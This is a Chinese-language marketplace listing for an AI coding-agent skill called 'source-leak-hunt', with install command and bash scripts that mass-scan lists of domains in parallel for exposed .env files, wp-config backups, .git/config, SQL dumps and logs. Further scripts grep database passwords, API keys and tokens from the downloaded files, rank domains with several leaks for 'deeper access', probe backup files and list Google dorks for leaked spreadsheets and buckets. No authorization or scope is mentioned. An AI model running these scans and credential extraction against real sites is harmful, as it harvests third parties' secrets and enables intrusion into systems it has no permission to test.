mcpField
S
source-leak-hunt

source-leak-hunt

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 source-leak-hunt

source-leak-hunt 是一项安全测试技能,用于扫描在线站点暴露的敏感文件,并依据内容验证结果。它还介绍从泄漏文件提取凭据及过滤常见误报的方法。

主要功能

  1. 01扫描暴露的敏感文件
  2. 02按文件内容过滤结果
  3. 03从泄漏文件提取凭据
  4. 04识别存在多处泄漏的域名
  5. 05处理常见误报

适用场景

  1. 01审计在线域名的文件暴露情况
  2. 02批量检查站点是否泄漏凭据
  3. 03优先调查存在多处已验证泄漏的目标

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill source-leak-hunt

安装后在 Claude Code 中输入/source-leak-hunt确认已加载。

详细介绍

源码泄露搜寻技能

批量扫描暴露的敏感文件(.env、.git/config、wp-config.php.bak、debug.log、backup.sql、phpinfo.php、Dockerfile 等),并通过内容过滤误报。源码泄露是第二常见的发现类型(约占目标的 7%),仅次于 WordPress 用户枚举。

使用时机

  • 在 skill_view(name='wp-mass-recon') 确认目标处于活动状态后。
  • 对一批域名进行广泛扫描。
  • 探测可助力更深入访问的凭据泄露情况。
  • 配合 skill_view(name='js-secrets-extraction') 检查客户端侧机密信息。

前置条件

  • 带有 curl 的 terminal。
  • 在线 URL 列表(来自 httpx 或 wp-mass-recon 阶段 1 的输出)。
  • 持久化存储:$OUTDIR/leaks/ 下的输出目录。

运行方法

# Quick scan single target (20 paths)
TARGET="https://example.com"
for path in .env .git/config wp-config.php.bak debug.log backup.sql info.php phpinfo.php \
  .env.backup .env.local .env.production wp-config.php~ .git/HEAD .backup.sql \
  docker-compose.yml Dockerfile .DS_Store robots.txt sitemap.xml; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
  [[ "$code" == "200" ]] && echo "HTTP 200: $TARGET/$path"
  sleep 0.2
done

快速参考

路径可泄露的信息严重程度
.env数据库凭据、API 密钥、应用机密严重
wp-config.php.bakMySQL root 密码、盐值严重
.git/config仓库 URL、凭据高
debug.logPHP 错误、服务器路径、SQL 查询高
backup.sql完整数据库转储严重
info.php / phpinfo.phpPHP 配置、disable_functions、服务器环境高
docker-compose.yml服务架构、环境变量中
Dockerfile构建配置、暴露的端口低
.env.backup / .env.local与 .env 相同,名称不同严重
wp-config.php~wp-config 的 Vim 交换文件严重
.DS_Store目录列表(macOS)低
error_logPHP 错误日志(可能有数 MB,包含大量路径/查询)高

操作流程

步骤 1 — 并行批量扫描
#!/bin/bash
URLS_FILE="$1"   # One URL per line
OUTDIR="$OUTDIR/leaks"
mkdir -p "$OUTDIR"

PATHS=(
  ".env"
  ".git/config"
  "wp-config.php.bak"
  "debug.log"
  "backup.sql"
  "info.php"
  "phpinfo.php"
  ".env.backup"
  ".env.local"
  ".env.production"
  "wp-config.php~"
  ".git/HEAD"
  "docker-compose.yml"
  "Dockerfile"
  ".DS_Store"
  "robots.txt"
  "sitemap.xml"
  "error_log"
  "wp-content/debug.log"
  ".backup.sql"
)

# Content verification patterns (avoids SPA catch-all false positives)
declare -A PATTERNS
PATTERNS[".env"]='DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN'
PATTERNS["wp-config.php.bak"]='DB_NAME|DB_PASSWORD|AUTH_KEY'
PATTERNS[".git/config"]='\[core\]'
PATTERNS["debug.log"]='PHP|ERROR|WARNING|Stack trace'
PATTERNS["backup.sql"]='CREATE TABLE|INSERT INTO|DROP TABLE'
PATTERNS["info.php"]='PHP Version|phpinfo'
PATTERNS["phpinfo.php"]='PHP Version|phpinfo'
PATTERNS[".env.backup"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.local"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.production"]='DB_|APP_|_KEY|_SECRET'
PATTERNS["wp-config.php~"]='DB_NAME|DB_PASSWORD'
PATTERNS["error_log"]='PHP|ERROR|Stack trace'

scan_target() {
  local url="$1"
  local domain
  domain=$(echo "$url" | sed 's|https\?://||' | sed 's|/.*||')

  for path in "${PATHS[@]}"; do
    local full_url="${url}/${path}"
    local code
    code=$(curl -sk -o /tmp/leak_check_$$.tmp -w "%{http_code}" --max-time 5 --connect-timeout 5 "$full_url" 2>/dev/null)

    if [[ "$code" == "200" ]]; then
      local content
      content=$(head -c 2000 /tmp/leak_check_$$.tmp 2>/dev/null)
      local pattern="${PATTERNS[$path]}"

      if [[ -n "$pattern" ]] && echo "$content" | grep -qiE "$pattern"; then
        echo "[LEAK] $full_url (VERIFIED: $path)"
        echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
        cp /tmp/leak_check_$$.tmp "$OUTDIR/${domain}_${path//\//_}.content" 2>/dev/null
      elif [[ -z "$pattern" ]]; then
        # No pattern check — just log HTTP 200 (e.g., robots.txt)
        local size=$(wc -c < /tmp/leak_check_$$.tmp)
        if [[ "$size" -gt 50 ]]; then
          echo "[INFO] $full_url (HTTP 200, ${size} bytes)"
          echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
        fi
      fi
    fi
    sleep 0.3
  done
  rm -f /tmp/leak_check_$$.tmp
}

export -f scan_target
export OUTDIR
export PATHS

# Run 30 parallel workers
cat "$URLS_FILE" | xargs -P 30 -I {} bash -c 'scan_target "{}"'

echo "[+] Done. Results in $OUTDIR/"
步骤 2 — 从泄露文件中提取凭据
# From .env files
grep -rhE '(DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN|SECRET)=' $OUTDIR/leaks/*.env*.content 2>/dev/null | sort -u

# From wp-config backups
grep -rhE 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST|AUTH_KEY' $OUTDIR/leaks/*wp-config* 2>/dev/null

# From .git/config
grep -rh 'url = ' $OUTDIR/leaks/*.git_config.content 2>/dev/null

# From SQL dumps
grep -rhE 'CREATE TABLE|INSERT INTO' $OUTDIR/leaks/*backup* $OUTDIR/leaks/*.sql* 2>/dev/null | head -20
步骤 3 — 找出存在多项泄露的目标(深入调查候选项)
for f in $OUTDIR/leaks/*_leaks.txt; do
  count=$(wc -l < "$f")
  [[ "$count" -ge 3 ]] && echo "$(basename "$f" _leaks.txt): $count leaks"
done | sort -t: -k2 -rn

注意事项

  • 若不进行过滤,SPA 全路径回退会导致超过 70% 的结果为误报。 单页应用对任何路径都会返回包含 index.html 的 HTTP 200 响应。必须验证内容。
  • CloudFront/S3 错误页面。 某些 CDN 会为缺失文件返回包含 XML 错误正文的 200 响应。请检查内容类型和正文。
  • 大文件内容被截断。 error_log 文件可能超过 1.7 MB。请分块获取,或使用 curl -r 0-5000 抽样。
  • git/HEAD 误报。 某些主题/配置会让 .git/HEAD 返回包含有效 git 哈希的 200 响应。请先验证 .git/config。
  • 停放/待售域名对所有路径都返回 HTTP 200。 通用停放页面会对 /.env、/.git/config、/info.php 等路径提供内容,且不处理错误——每个路径都会返回相同的落地页。可以检查多个不相关路径是否返回完全相同的内容(相同的正文哈希、相同的 <title>,或相同的关键词,如“for sale”或“parked”),以识别此类域名。添加提前退出逻辑:如果 /robots.txt 和 /.env 都返回 200,且 HTML 几乎相同,则将域名标记为停放状态,并跳过后续源码泄露检查。

验证

  • 每个 .env 泄露都必须至少包含以下一项:DB_、APP_、_KEY、_SECRET、PASSWORD、TOKEN。
  • 每个 wp-config.php.bak 泄露都必须包含 DB_NAME 和 DB_PASSWORD。
  • 每个 .git/config 泄露都必须包含 [core] 段标题。
  • 每个 SQL 备份都必须包含 DDL(CREATE TABLE)或 DML(INSERT INTO)语句。
  • 记录所有已验证的泄露,并附上时间戳和 HTTP 响应大小。
阶段 6 — 备份文件发现
# bfac — multi-level backup file detection
bfac --url https://target.com \
  --detection-technique all \
  --level 3 \
  --exclude-status-codes 404,500

# Wayback Machine — historical sensitive files
waybackurls https://target.com | grep -iE \
  "\.(xls|xlsx|csv|sql|db|bak|backup|old|tar\.gz|tgz|zip|7z|rar|pdf|pem|key|crt|env|json|yml|yaml|conf|config|git|htpasswd|log|dump|DS_Store)" \
  | sort -u > sensitive_wayback.txt

# Check which are still accessible
cat sensitive_wayback.txt | httpx -silent -mc 200 -o accessible_sensitive.txt

# Common backup patterns to probe
for ext in bak old backup zip tar.gz tgz sql dump; do
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/backup.$ext" | head -1
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/site.$ext" | head -1
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/target.$ext" | head -1
  sleep 0.3
done
阶段 7 — Google 服务泄露搜索语法探测
# Google Sheets — internal spreadsheets often left public
# Manual search:
# site:docs.google.com/spreadsheets "target.com"
# site:docs.google.com/spreadsheets "@target.com"
# site:docs.google.com/spreadsheets "password" "target.com"

# Google Drive files
# site:drive.google.com "target.com" "confidential"

# Firebase/Firestore URLs in public search results
# site:firebaseio.com "target.com"
# site:firestore.googleapis.com "target-app"

# GCP buckets
# site:storage.googleapis.com "target"
# site:storage.cloud.google.com "target"

评论

支持 Markdown